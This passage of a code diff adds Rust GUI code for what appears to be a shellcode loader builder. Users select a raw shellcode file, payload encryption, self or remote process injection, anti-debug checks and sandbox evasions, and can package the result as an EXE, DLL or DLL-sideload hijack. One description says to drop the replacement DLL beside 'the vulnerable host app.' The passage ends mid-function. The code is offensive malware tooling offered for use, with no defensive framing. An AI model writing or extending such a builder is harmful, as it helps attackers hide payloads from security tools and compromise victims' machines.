pub renamed: String, // proxy/relative mode — e.g. "Shaping.dll"
|
||||
pub use_absolute_path: bool, // proxy/absolute mode
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
#[serde(default)]
|
||||
pub struct AppState {
|
||||
pub current_tab: Tab,
|
||||
|
||||
pub shellcode_path: Option<PathBuf>,
|
||||
pub format: Format,
|
||||
pub output_path: Option<PathBuf>,
|
||||
|
||||
pub encryption_id: String, // e.g. "aes"
|
||||
pub injection_id: String, // e.g. "syscrt"
|
||||
pub enabled_evasions: Vec<String>,
|
||||
#[serde(default)]
|
||||
pub enabled_anti_debug: Vec<String>,
|
||||
|
||||
/// Flat key/value, scoped by "<technique_id>.<param_name>".
|
||||
pub params: HashMap<String, String>,
|
||||
|
||||
pub sideload: SideloadConfig,
|
||||
|
||||
pub console_log: String,
|
||||
|
||||
/// Active visual theme — persisted across runs.
|
||||
pub active_theme: Theme,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy, Serialize, Deserialize, PartialEq, Eq)]
|
||||
pub enum Format { Exe, Dll, DllSideload }
|
||||
|
||||
impl Default for Format { fn default() -> Self { Self::Exe } }
|
||||
|
||||
impl Format {
|
||||
pub fn label(self) -> &'static str {
|
||||
match self {
|
||||
Format::Exe => "EXE",
|
||||
Format::Dll => "DLL",
|
||||
Format::DllSideload => "DLL SIDELOAD",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl Default for AppState {
|
||||
fn default() -> Self {
|
||||
Self {
|
||||
current_tab: Tab::Configure,
|
||||
shellcode_path: None,
|
||||
format: Format::Exe,
|
||||
output_path: None,
|
||||
encryption_id: "aes".to_string(),
|
||||
injection_id: "syscrt".to_string(),
|
||||
enabled_evasions: Vec::new(),
|
||||
enabled_anti_debug: Vec::new(),
|
||||
params: HashMap::new(),
|
||||
sideload: SideloadConfig::default(),
|
||||
console_log: String::new(),
|
||||
active_theme: Theme::default(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl AppState {
|
||||
pub fn to_order(&self) -> Option<crate::order::Order> {
|
||||
use crate::order::{
|
||||
Order, OutputFormat, SideloadConfig as OrderSideload, SideloadMode as OrderMode,
|
||||
};
|
||||
|
||||
let sideload = match self.format {
|
||||
Format::DllSideload => {
|
||||
let target = self.sideload.target_dll.clone()?;
|
||||
Some(OrderSideload {
|
||||
target_dll: target,
|
||||
hijack_export: self.sideload.hijack_export.clone(),
|
||||
mode: match self.sideload.mode {
|
||||
SideloadMode::Sideload => OrderMode::Sideload,
|
||||
SideloadMode::Proxy => OrderMode::Proxy,
|
||||
},
|
||||
renamed: self.sideload.renamed.clone(),
|
||||
use_absolute_path: self.sideload.use_absolute_path,
|
||||
})
|
||||
}
|
||||
_ => None,
|
||||
};
|
||||
|
||||
Some(Order {
|
||||
shellcode_path: self.shellcode_path.clone()?,
|
||||
format: match self.format {
|
||||
Format::Exe => OutputFormat::Exe,
|
||||
Format::Dll => OutputFormat::Dll,
|
||||
Format::DllSideload => OutputFormat::DllSideload,
|
||||
},
|
||||
encryption_id: self.encryption_id.clone(),
|
||||
injection_id: self.injection_id.clone(),
|
||||
evasions: {
|
||||
// Anti-debug checks run first (bail out before sandbox/sleep evasions).
|
||||
let mut combined = self.enabled_anti_debug.clone();
|
||||
combined.extend(self.enabled_evasions.iter().cloned());
|
||||
combined
|
||||
},
|
||||
params: self.params.clone(),
|
||||
output: self.output_path.clone(),
|
||||
sideload,
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,657 @@
|
||||
use crate::gui::state::{AppState, Format, SideloadMode};
|
||||
use crate::gui::theme::{palette, space};
|
||||
use crate::gui::widgets::{
|
||||
card, description, field_row, ghost_button, input_readonly, meta_line, pill, section_header,
|
||||
segmented, warn_banner, PillKind,
|
||||
};
|
||||
use eframe::egui::{self, FontFamily, FontId, RichText};
|
||||
use std::fs;
|
||||
use std::path::PathBuf;
|
||||
|
||||
pub fn draw(ui: &mut egui::Ui, state: &mut AppState) {
|
||||
egui::ScrollArea::vertical()
|
||||
.auto_shrink([false, false])
|
||||
.show(ui, |ui| {
|
||||
ui.set_min_width(ui.available_width());
|
||||
|
||||
draw_shellcode(ui, state);
|
||||
ui.add_space(space::MD);
|
||||
draw_output(ui, state);
|
||||
ui.add_space(space::MD);
|
||||
if state.format == Format::DllSideload {
|
||||
draw_sideload(ui, state);
|
||||
ui.add_space(space::MD);
|
||||
}
|
||||
draw_encryption(ui, state);
|
||||
ui.add_space(space::MD);
|
||||
draw_injection(ui, state);
|
||||
ui.add_space(space::MD);
|
||||
draw_anti_debug(ui, state);
|
||||
ui.add_space(space::MD);
|
||||
draw_evasion(ui, state);
|
||||
|
||||
if let Err(msg) = crate::gui::validate_state(state) {
|
||||
ui.add_space(space::SM);
|
||||
warn_banner(ui, &msg);
|
||||
}
|
||||
|
||||
ui.add_space(space::LG);
|
||||
});
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- shellcode
|
||||
|
||||
fn draw_shellcode(ui: &mut egui::Ui, state: &mut AppState) {
|
||||
let size_suffix = state
|
||||
.shellcode_path
|
||||
.as_ref()
|
||||
.and_then(|p| fs::metadata(p).ok())
|
||||
.map(|m| format!("{} bytes", m.len()));
|
||||
section_header(ui, "Shellcode", size_suffix.as_deref());
|
||||
|
||||
card(ui, |ui| {
|
||||
field_row(ui, "File", |ui| {
|
||||
let path_str = state
|
||||
.shellcode_path
|
||||
.as_ref()
|
||||
.map(|p| p.display().to_string())
|
||||
.unwrap_or_default();
|
||||
let avail = ui.available_width() - 110.0;
|
||||
input_readonly(ui, &path_str, avail.max(180.0));
|
||||
if ghost_button(ui, "Browse…").clicked() {
|
||||
if let Some(picked) = rfd::FileDialog::new()
|
||||
.add_filter("Raw shellcode", &["bin", "raw"])
|
||||
.pick_file()
|
||||
{
|
||||
state.shellcode_path = Some(picked);
|
||||
}
|
||||
}
|
||||
});
|
||||
if state.shellcode_path.is_some() && size_suffix.is_some() {
|
||||
ui.add_space(4.0);
|
||||
meta_line(
|
||||
ui,
|
||||
&format!(
|
||||
"{} loaded",
|
||||
size_suffix.as_deref().unwrap_or("")
|
||||
),
|
||||
);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- output
|
||||
|
||||
fn draw_output(ui: &mut egui::Ui, state: &mut AppState) {
|
||||
section_header(ui, "Output", None);
|
||||
card(ui, |ui| {
|
||||
field_row(ui, "Format", |ui| {
|
||||
segmented(
|
||||
ui,
|
||||
&mut state.format,
|
||||
&[
|
||||
(Format::Exe, "EXE"),
|
||||
(Format::Dll, "DLL"),
|
||||
(Format::DllSideload, "SIDELOAD"),
|
||||
],
|
||||
);
|
||||
});
|
||||
ui.add_space(6.0);
|
||||
field_row(ui, "Save to", |ui| {
|
||||
let mut s = state
|
||||
.output_path
|
||||
.as_ref()
|
||||
.map(|p| p.display().to_string())
|
||||
.unwrap_or_default();
|
||||
let avail = ui.available_width() - 110.0;
|
||||
let resp = ui.add(
|
||||
egui::TextEdit::singleline(&mut s)
|
||||
.desired_width(avail.max(180.0))
|
||||
.font(FontId::new(12.0, FontFamily::Monospace))
|
||||
.text_color(palette::text())
|
||||
.margin(egui::vec2(space::SM, space::XS + 1.0)),
|
||||
);
|
||||
if resp.changed() {
|
||||
state.output_path = if s.trim().is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(s.into())
|
||||
};
|
||||
}
|
||||
if ghost_button(ui, "Browse…").clicked() {
|
||||
let default_name = match state.format {
|
||||
Format::Exe => "out.exe",
|
||||
Format::Dll | Format::DllSideload => "out.dll",
|
||||
};
|
||||
if let Some(picked) = rfd::FileDialog::new()
|
||||
.set_file_name(default_name)
|
||||
.save_file()
|
||||
{
|
||||
state.output_path = Some(picked);
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- sideload
|
||||
|
||||
fn draw_sideload(ui: &mut egui::Ui, state: &mut AppState) {
|
||||
section_header(ui, "DLL Sideload", Some("self-injection only"));
|
||||
card(ui, |ui| {
|
||||
field_row(ui, "Target DLL", |ui| {
|
||||
let path_str = state
|
||||
.sideload
|
||||
.target_dll
|
||||
.as_ref()
|
||||
.map(|p| p.display().to_string())
|
||||
.unwrap_or_default();
|
||||
let avail = ui.available_width() - 110.0;
|
||||
input_readonly(ui, &path_str, avail.max(180.0));
|
||||
if ghost_button(ui, "Browse…").clicked() {
|
||||
if let Some(picked) = rfd::FileDialog::new()
|
||||
.add_filter("DLL", &["dll", "DLL"])
|
||||
.pick_file()
|
||||
{
|
||||
state.sideload.target_dll = Some(picked);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
ui.add_space(6.0);
|
||||
field_row(ui, "Hijack export", |ui| {
|
||||
let avail = ui.available_width();
|
||||
ui.add(
|
||||
egui::TextEdit::singleline(&mut state.sideload.hijack_export)
|
||||
.desired_width(avail.min(320.0))
|
||||
.hint_text("e.g. DllRegisterServer")
|
||||
.font(FontId::new(12.0, FontFamily::Monospace))
|
||||
.text_color(palette::text())
|
||||
.margin(egui::vec2(space::SM, space::XS + 1.0)),
|
||||
);
|
||||
});
|
||||
|
||||
ui.add_space(6.0);
|
||||
field_row(ui, "Mode", |ui| {
|
||||
segmented(
|
||||
ui,
|
||||
&mut state.sideload.mode,
|
||||
&[
|
||||
(SideloadMode::Sideload, "SIDELOAD"),
|
||||
(SideloadMode::Proxy, "PROXY"),
|
||||
],
|
||||
);
|
||||
});
|
||||
|
||||
match state.sideload.mode {
|
||||
SideloadMode::Sideload => {
|
||||
ui.add_space(6.0);
|
||||
description(
|
||||
ui,
|
||||
"Sideload — pure replacement DLL. No original loaded; all \
|
||||
non-hijacked exports are no-op stubs. Drop alongside the \
|
||||
vulnerable host app.",
|
||||
);
|
||||
}
|
||||
SideloadMode::Proxy => {
|
||||
ui.add_space(6.0);
|
||||
description(
|
||||
ui,
|
||||
"Proxy — non-hijacked exports forward to the original DLL via .def. \
|
||||
Uses dyncvoke (git dep) + obfstr + lazy_static.",
|
||||
);
|
||||
ui.add_space(6.0);
|
||||
field_row(ui, "Path mode", |ui| {
|
||||
ui.checkbox(
|
||||
&mut state.sideload.use_absolute_path,
|
||||
RichText::new("Use absolute target path (no rename needed)")
|
||||
.font(crate::gui::theme::font_sans(11.0)),
|
||||
);
|
||||
});
|
||||
if !state.sideload.use_absolute_path {
|
||||
ui.add_space(6.0);
|
||||
field_row(ui, "Renamed", |ui| {
|
||||
let avail = ui.available_width();
|
||||
ui.add(
|
||||
egui::TextEdit::singleline(&mut state.sideload.renamed)
|
||||
.desired_width(avail.min(320.0))
|
||||
.hint_text("e.g. Shaping.dll")
|
||||
.font(FontId::new(12.0, FontFamily::Monospace))
|
||||
.text_color(palette::text())
|
||||
.margin(egui::vec2(space::SM, space::XS + 1.0)),
|
||||
);
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if let Some(target) = &state.sideload.target_dll {
|
||||
ui.add_space(6.0);
|
||||
draw_exports_preview(ui, target);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
fn draw_exports_preview(ui: &mut egui::Ui, target_dll: &PathBuf) {
|
||||
match crate::pe_parser::parse_exports(target_dll) {
|
||||
Ok(exports) => {
|
||||
let total = exports.len();
|
||||
let named = exports.iter().filter(|e| e.name.is_some()).count();
|
||||
meta_line(
|
||||
ui,
|
||||
&format!("{total} exports parsed ({named} named) from {}", target_dll.display()),
|
||||
);
|
||||
}
|
||||
Err(e) => {
|
||||
meta_line(ui, &format!("could not parse exports: {e}"));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- encryption
|
||||
|
||||
fn draw_encryption(ui: &mut egui::Ui, state: &mut AppState) {
|
||||
use crate::techniques::{self, Category};
|
||||
let techniques: Vec<_> = techniques::by_category(Category::Encryption).collect();
|
||||
section_header(
|
||||
ui,
|
||||
"Encryption",
|
||||
Some(&format!("{} techniques", techniques.len())),
|
||||
);
|
||||
|
||||
card(ui, |ui| {
|
||||
field_row(ui, "Method", |ui| {
|
||||
let selected_label = techniques
|
||||
.iter()
|
||||
.find(|t| t.meta().id == state.encryption_id)
|
||||
.map(|t| t.meta().display_name)
|
||||
.unwrap_or("(none)");
|
||||
let avail = ui.available_width();
|
||||
egui::ComboBox::from_id_source("encryption_combo")
|
||||
.selected_text(
|
||||
RichText::new(selected_label)
|
||||
.font(FontId::new(12.0, FontFamily::Proportional))
|
||||
.color(palette::text()),
|
||||
)
|
||||
.width(avail - 4.0)
|
||||
.show_ui(ui, |ui| {
|
||||
for t in &techniques {
|
||||
ui.selectable_value(
|
||||
&mut state.encryption_id,
|
||||
t.meta().id.to_string(),
|
||||
t.meta().display_name,
|
||||
);
|
||||
}
|
||||
});
|
||||
});
|
||||
if let Some(t) = techniques.iter().find(|t| t.meta().id == state.encryption_id) {
|
||||
ui.add_space(6.0);
|
||||
description(ui, t.meta().description);
|
||||
draw_params_for(ui, state, t.meta());
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- injection
|
||||
|
||||
#[derive(Clone, Copy, PartialEq, Eq)]
|
||||
enum InjectionMode { SelfInject, Remote }
|
||||
|
||||
fn mode_of(tags: &[&'static str]) -> InjectionMode {
|
||||
if tags.iter().any(|t| *t == "self_injection") {
|
||||
InjectionMode::SelfInject
|
||||
} else {
|
||||
InjectionMode::Remote
|
||||
}
|
||||
}
|
||||
|
||||
fn draw_injection(ui: &mut egui::Ui, state: &mut AppState) {
|
||||
use crate::techniques::{self, Category};
|
||||
let all: Vec<_> = techniques::by_category(Category::Injection).collect();
|
||||
|
||||
let current_mode = techniques::find(&state.injection_id)
|
||||
.map(|t| mode_of(t.meta().tags))
|
||||
.unwrap_or(InjectionMode::Remote);
|
||||
let mut next_mode = current_mode;
|
||||
|
||||
let filtered: Vec<_> = all
|
||||
.iter()
|
||||
.filter(|t| mode_of(t.meta().tags) == current_mode)
|
||||
.copied()
|
||||
.collect();
|
||||
|
||||
section_header(
|
||||
ui,
|
||||
"Injection",
|
||||
Some(&format!("{} techniques", filtered.len())),
|
||||
);
|
||||
|
||||
card(ui, |ui| {
|
||||
field_row(ui, "Mode", |ui| {
|
||||
segmented(
|
||||
ui,
|
||||
&mut next_mode,
|
||||
&[
|
||||
(InjectionMode::SelfInject, "SELF"),
|
||||
(InjectionMode::Remote, "REMOTE"),
|
||||
],
|
||||
);
|
||||
});
|
||||
|
||||
if next_mode != current_mode {
|
||||
if let Some(first) = all.iter().find(|t| mode_of(t.meta().tags) == next_mode) {
|
||||
state.injection_id = first.meta().id.to_string();
|
||||
}
|
||||
}
|
||||
|
||||
ui.add_space(6.0);
|
||||
field_row(ui, "Template", |ui| {
|
||||
let selected_label = filtered
|
||||
.iter()
|
||||
.find(|t| t.meta().id == state.injection_id)
|
||||
.map(|t| t.meta().display_name)
|
||||
.unwrap_or("(none)");
|
||||
let avail = ui.available_width();
|
||||
egui::ComboBox::from_id_source("injection_combo")
|
||||
.selected_text(
|
||||
RichText::new(selected_label)
|
||||
.font(FontId::new(12.0, FontFamily::Proportional))
|
||||
.color(palette::text()),
|
||||
)
|
||||
.width(avail - 4.0)
|
||||
.show_ui(ui, |ui| {
|
||||
for t in &filtered {
|
||||
ui.selectable_value(
|
||||
&mut state.injection_id,
|
||||
t.meta().id.to_string(),
|
||||
t.meta().display_name,
|
||||
);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
if let Some(t) = filtered.iter().find(|t| t.meta().id == state.injection_id) {
|
||||
// Tag pills, indented under the label column
|
||||
let extra_tags: Vec<&&str> = t
|
||||
.meta()
|
||||
.tags
|
||||
.iter()
|
||||
.filter(|tag| **tag != "self_injection" && **tag != "remote_injection")
|
||||
.collect();
|
||||
if !extra_tags.is_empty() {
|
||||
ui.add_space(6.0);
|
||||
ui.horizontal(|ui| {
|
||||
ui.add_space(82.0); // align with field content column
|
||||
for tag in extra_tags {
|
||||
pill(ui, tag, pill_kind_for_tag(tag));
|
||||
ui.add_space(4.0);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
ui.add_space(6.0);
|
||||
ui.horizontal(|ui| {
|
||||
ui.add_space(82.0);
|
||||
description(ui, t.meta().description);
|
||||
});
|
||||
|
||||
draw_params_for(ui, state, t.meta());
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
fn pill_kind_for_tag(tag: &str) -> PillKind {
|
||||
match tag {
|
||||
"remote_injection" => PillKind::Accent,
|
||||
"self_injection" => PillKind::Accent,
|
||||
"syscall" => PillKind::Warn,
|
||||
_ => PillKind::Muted,
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- anti-debug
|
||||
|
||||
fn draw_anti_debug(ui: &mut egui::Ui, state: &mut AppState) {
|
||||
use crate::techniques::{self, Category};
|
||||
let all: Vec<_> = techniques::by_category(Category::Evasion)
|
||||
.filter(|t| t.meta().tags.iter().any(|tag| *tag == "anti_debug"))
|
||||
.collect();
|
||||
let active = state.enabled_anti_debug.len();
|
||||
section_header(
|
||||
ui,
|
||||
"Anti-Debug",
|
||||
Some(&format!("{} active", active)),
|
||||
);
|
||||
card(ui, |ui| {
|
||||
row_builder(
|
||||
ui,
|
||||
&mut state.enabled_anti_debug,
|
||||
&mut state.params,
|
||||
&all,
|
||||
"ADD CHECK",
|
||||
"anti_debug_add_popup",
|
||||
"No anti-debug checks configured.",
|
||||
);
|
||||
});
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- evasion
|
||||
|
||||
fn draw_evasion(ui: &mut egui::Ui, state: &mut AppState) {
|
||||
use crate::techniques::{self, Category};
|
||||
let all: Vec<_> = techniques::by_category(Category::Evasion)
|
||||
.filter(|t| !t.meta().tags.iter().any(|tag| *tag == "anti_debug"))
|
||||
.collect();
|
||||
let active = state.enabled_evasions.len();
|
||||
section_header(
|
||||
ui,
|
||||
"Evasion",
|
||||
Some(&format!("{} active", active)),
|
||||
);
|
||||
card(ui, |ui| {
|
||||
row_builder(
|
||||
ui,
|
||||
&mut state.enabled_evasions,
|
||||
&mut state.params,
|
||||
&all,
|
||||
"ADD EVASION",
|
||||
"evasion_add_popup",
|
||||
"No evasion techniques configured.",
|
||||
);
|
||||
});
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- row-builder helper
|
||||
|
||||
fn row_builder(
|
||||
ui: &mut egui::Ui,
|
||||
selected: &mut Vec<String>,
|
||||
params: &mut std::collections::HashMap<String, String>,
|
||||
available: &[&'static dyn crate::techniques::Technique],
|
||||
add_label: &str,
|
||||
popup_id: &str,
|
||||
empty_hint: &str,
|
||||
) {
|
||||
let mut remove_idx: Option<usize> = None;
|
||||
|
||||
if selected.is_empty() {
|
||||
description(ui, empty_hint);
|
||||
} else {
|
||||
for (idx, id) in selected.iter().enumerate() {
|
||||
if idx > 0 {
|
||||
ui.add_space(8.0);
|
||||
let r = ui.max_rect();
|
||||
ui.painter().hline(
|
||||
r.x_range(),
|
||||
ui.cursor().top(),
|
||||
egui::Stroke::new(1.0, palette::border()),
|
||||
);
|
||||
ui.add_space(8.0);
|
||||
}
|
||||
let Some(t) = available.iter().find(|t| t.meta().id == *id) else { continue; };
|
||||
ui.horizontal(|ui| {
|
||||
ui.label(
|
||||
RichText::new(t.meta().display_name)
|
||||
.font(crate::gui::theme::font_sans(12.5))
|
||||
.color(palette::text())
|
||||
.strong(),
|
||||
);
|
||||
ui.with_layout(egui::Layout::right_to_left(egui::Align::Center), |ui| {
|
||||
if ghost_button(ui, "× Remove").clicked() {
|
||||
remove_idx = Some(idx);
|
||||
}
|
||||
});
|
||||
});
|
||||
ui.add_space(2.0);
|
||||
description(ui, t.meta().description);
|
||||
if !t.meta().params.is_empty() {
|
||||
ui.add_space(2.0);
|
||||
draw_params_into(ui, params, t.meta());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if let Some(i) = remove_idx {
|
||||
selected.remove(i);
|
||||
}
|
||||
|
||||
// + Add button + popup
|
||||
ui.add_space(8.0);
|
||||
let any_available = available.iter().any(|t| !selected.iter().any(|s| s == t.meta().id));
|
||||
ui.horizontal(|ui| {
|
||||
ui.with_layout(egui::Layout::right_to_left(egui::Align::Center), |ui| {
|
||||
let label = format!("+ {}", add_label);
|
||||
let resp = if any_available {
|
||||
ghost_button(ui, &label)
|
||||
} else {
|
||||
// Greyed-out, non-interactive when nothing left to add
|
||||
let font = crate::gui::theme::font_sans(11.0);
|
||||
let galley = ui.painter().layout_no_wrap(label.clone(), font.clone(), palette::text_muted());
|
||||
let pad = egui::vec2(space::SM + 2.0, space::XS + 1.0);
|
||||
let size = galley.size() + egui::vec2(pad.x * 2.0, pad.y * 2.0);
|
||||
let (rect, resp) = ui.allocate_exact_size(size, egui::Sense::hover());
|
||||
ui.painter().rect(
|
||||
rect,
|
||||
crate::gui::theme::radius::INPUT,
|
||||
egui::Color32::TRANSPARENT,
|
||||
egui::Stroke::new(1.0, palette::border()),
|
||||
);
|
||||
ui.painter().text(
|
||||
rect.center(),
|
||||
egui::Align2::CENTER_CENTER,
|
||||
label,
|
||||
font,
|
||||
palette::text_muted(),
|
||||
);
|
||||
resp
|
||||
};
|
||||
let pid = ui.make_persistent_id(popup_id);
|
||||
if any_available && resp.clicked() {
|
||||
ui.memory_mut(|m| m.toggle_popup(pid));
|
||||
}
|
||||
egui::popup::popup_below_widget(ui, pid, &resp, |ui| {
|
||||
ui.set_min_width(280.0);
|
||||
egui::Frame::none()
|
||||
.fill(palette::bg_panel())
|
||||
.stroke(egui::Stroke::new(1.0, palette::border_strong()))
|
||||
.rounding(crate::gui::theme::radius::CARD)
|
||||
.inner_margin(egui::Margin::same(4.0))
|
||||
.show(ui, |ui| {
|
||||
for t in available {
|
||||
if selected.iter().any(|s| s == t.meta().id) { continue; }
|
||||
let item = ui.add(egui::SelectableLabel::new(
|
||||
false,
|
||||
RichText::new(format!(" {}", t.meta().display_name))
|
||||
.font(crate::gui::theme::font_sans(12.0))
|
||||
.color(palette::text()),
|
||||
));
|
||||
if item.clicked() {
|
||||
selected.push(t.meta().id.to_string());
|
||||
ui.memory_mut(|m| m.close_popup());
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- shared params
|
||||
|
||||
fn draw_params_for(
|
||||
ui: &mut egui::Ui,
|
||||
state: &mut AppState,
|
||||
meta: &crate::techniques::TechniqueMeta,
|
||||
) {
|
||||
draw_params_into(ui, &mut state.params, meta);
|
||||
}
|
||||
|
||||
fn draw_params_into(
|
||||
ui: &mut egui::Ui,
|
||||
params: &mut std::collections::HashMap<String, String>,
|
||||
meta: &crate::techniques::TechniqueMeta,
|
||||
) {
|
||||
use crate::techniques::ParamSpec;
|
||||
for spec in meta.params {
|
||||
ui.add_space(6.0);
|
||||
match spec {
|
||||
ParamSpec::Text {
|
||||
name,
|
||||
label,
|
||||
default,
|
||||
} => {
|
||||
let key = format!("{}.{}", meta.id, name);
|
||||
let value = params
|
||||
.entry(key.clone())
|
||||
.or_insert_with(|| default.to_string());
|
||||
field_row(ui, label, |ui| {
|
||||
let avail = ui.available_width();
|
||||
ui.add(
|
||||
egui::TextEdit::singleline(value)
|
||||
.desired_width(avail.min(320.0))
|
||||
.font(FontId::new(12.0, FontFamily::Monospace))
|
||||
.text_color(palette::text())
|
||||
.margin(egui::vec2(space::SM, space::XS + 1.0)),
|
||||
);
|
||||
});
|
||||
}
|
||||
ParamSpec::Bool {
|
||||
name,
|
||||
label,
|
||||
default,
|
||||
} => {
|
||||
let key = format!("{}.{}", meta.id, name);
|
||||
let mut on = params
|
||||
.get(&key)
|
||||
.map(|v| v == "true")
|
||||
.unwrap_or(*default);
|
||||
if ui.checkbox(&mut on, *label).changed() {
|
||||
params.insert(key, on.to_string());
|
||||
}
|
||||
}
|
||||
ParamSpec::Choice {
|
||||
name,
|
||||
label,
|
||||
options,
|
||||
} => {
|
||||
let key = format!("{}.{}", meta.id, name);
|
||||
let mut current = params
|
||||
.get(&key)
|
||||
.cloned()
|
||||
.unwrap_or_else(|| {
|
||||
options.first().map(|s| s.to_string()).unwrap_or_default()
|
||||
});
|
||||
field_row(ui, label, |ui| {
|
||||
egui::ComboBox::from_id_source(&key)
|
||||
.selected_text(¤t)
|
||||
.show_ui(ui, |ui| {
|
||||
for opt in options.iter() {
|
||||
ui.selectable_value(&mut current, opt.to_string(), *opt);
|
||||
}
|
||||
});
|
||||
});
|
||||
params.insert(key, current);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,74 @@
|
||||
use crate::gui::state::AppState;
|
||||
use crate::gui::theme::{self, palette, space};
|
||||
use crate::gui::widgets::{ghost_button, phase_progress, terminal_view, TerminalOpts};
|
||||
use eframe::egui::{self, RichText};
|
||||
use std::sync::{Arc, Mutex};
|
||||
|
||||
pub fn draw(ui: &mut egui::Ui, _state: &mut AppState, log: &Arc<Mutex<String>>) {
|
||||
let text = log.lock().unwrap().clone();
|
||||
let (phase, total, phase_label) = detect_phase(&text);
|
||||
|
||||
ui.label(
|
||||
RichText::new("Build output")
|
||||
.font(theme::font_sans(16.0))
|
||||
.color(palette::text())
|
||||
.strong(),
|
||||
);
|
||||
ui.add_space(2.0);
|
||||
ui.label(
|
||||
RichText::new("Live build log from the puzzle assembler + cargo compile pipeline.")
|
||||
.font(theme::font_sans(11.0))
|
||||
.color(palette::text_dim()),
|
||||
);
|
||||
ui.add_space(space::MD);
|
||||
|
||||
if phase > 0 || total > 0 {
|
||||
phase_progress(ui, phase, total, phase_label);
|
||||
ui.add_space(space::SM);
|
||||
}
|
||||
|
||||
terminal_view(ui, &text, TerminalOpts::default());
|
||||
|
||||
ui.add_space(space::SM);
|
||||
ui.horizontal(|ui| {
|
||||
if ghost_button(ui, "Copy log").clicked() {
|
||||
ui.output_mut(|o| o.copied_text = text.clone());
|
||||
}
|
||||
ui.add_space(4.0);
|
||||
if ghost_button(ui, "Clear").clicked() {
|
||||
log.lock().unwrap().clear();
|
||||
}
|
||||
ui.with_layout(
|
||||
egui::Layout::right_to_left(egui::Align::Center),
|
||||
|ui| {
|
||||
let lines = text.lines().count();
|
||||
ui.label(
|
||||
RichText::new(format!("{lines} lines · auto-scroll on"))
|
||||
.font(theme::font_mono(10.5))
|
||||
.color(palette::text_muted()),
|
||||
);
|
||||
},
|
||||
);
|
||||
});
|
||||
}
|
||||
|
||||
fn detect_phase(log: &str) -> (u32, u32, &'static str) {
|
||||
let markers: &[(&str, &str)] = &[
|
||||
("Starting build", "preparing template"),
|
||||
("Compiled output folder", "compiling loader"),
|
||||
("Build complete", "done"),
|
||||
];
|
||||
let total = markers.len() as u32;
|
||||
let mut current = 0u32;
|
||||
let mut label: &'static str = "";
|
||||
for (needle, lbl) in markers {
|
||||
if log.contains(needle) {
|
||||
current += 1;
|
||||
label = lbl;
|
||||
}
|
||||
}
|
||||
if log.contains("Build panicked") {
|
||||
return (current.max(1), total, "build panicked");
|
||||
}
|
||||
(current, total, label)
|
||||
}
|
||||
@@ -0,0 +1,131 @@
|
||||
use crate::gui::state::AppState;
|
||||
use crate::gui::theme::{self, palette, space};
|
||||
use crate::gui::widgets::{step_card, StepAccent, StepView};
|
||||
use crate::techniques;
|
||||
use eframe::egui::{self, RichText};
|
||||
|
||||
struct Step {
|
||||
title: String,
|
||||
pill: String,
|
||||
accent: StepAccent,
|
||||
}
|
||||
|
||||
pub fn draw(ui: &mut egui::Ui, state: &mut AppState) {
|
||||
egui::ScrollArea::vertical()
|
||||
.auto_shrink([false, false])
|
||||
.show(ui, |ui| {
|
||||
ui.set_min_width(ui.available_width());
|
||||
|
||||
ui.label(
|
||||
RichText::new("Runtime execution path")
|
||||
.font(theme::font_sans(16.0))
|
||||
.color(palette::text())
|
||||
.strong(),
|
||||
);
|
||||
ui.add_space(space::MD);
|
||||
|
||||
for (idx, step) in compute_steps(state).iter().enumerate() {
|
||||
step_card(
|
||||
ui,
|
||||
&StepView {
|
||||
idx: idx as u32 + 1,
|
||||
title: &step.title,
|
||||
pill_text: &step.pill,
|
||||
accent: step.accent,
|
||||
},
|
||||
);
|
||||
ui.add_space(space::XS + 2.0);
|
||||
}
|
||||
|
||||
ui.add_space(space::MD);
|
||||
});
|
||||
}
|
||||
|
||||
fn compute_steps(state: &AppState) -> Vec<Step> {
|
||||
let mut steps = Vec::new();
|
||||
|
||||
steps.push(Step {
|
||||
title: "Loader starts".into(),
|
||||
pill: "ENTRY".into(),
|
||||
accent: StepAccent::Normal,
|
||||
});
|
||||
|
||||
// Anti-debug checks run first — bail out before any heavier evasion.
|
||||
for id in &state.enabled_anti_debug {
|
||||
if let Some(t) = techniques::find(id) {
|
||||
steps.push(Step {
|
||||
title: t.meta().display_name.into(),
|
||||
pill: "ANTI-DEBUG".into(),
|
||||
accent: StepAccent::Danger,
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
for ev_id in &state.enabled_evasions {
|
||||
if let Some(t) = techniques::find(ev_id) {
|
||||
steps.push(Step {
|
||||
title: t.meta().display_name.into(),
|
||||
pill: "EVASION".into(),
|
||||
accent: StepAccent::Warn,
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
if let Some(enc) = techniques::find(&state.encryption_id) {
|
||||
steps.push(Step {
|
||||
title: format!("Decrypt via {}", enc.meta().id.to_uppercase()),
|
||||
pill: enc.meta().id.to_uppercase(),
|
||||
accent: StepAccent::Normal,
|
||||
});
|
||||
}
|
||||
|
||||
if let Some(inj) = techniques::find(&state.injection_id) {
|
||||
let is_remote = inj.meta().tags.iter().any(|t| *t == "remote_injection");
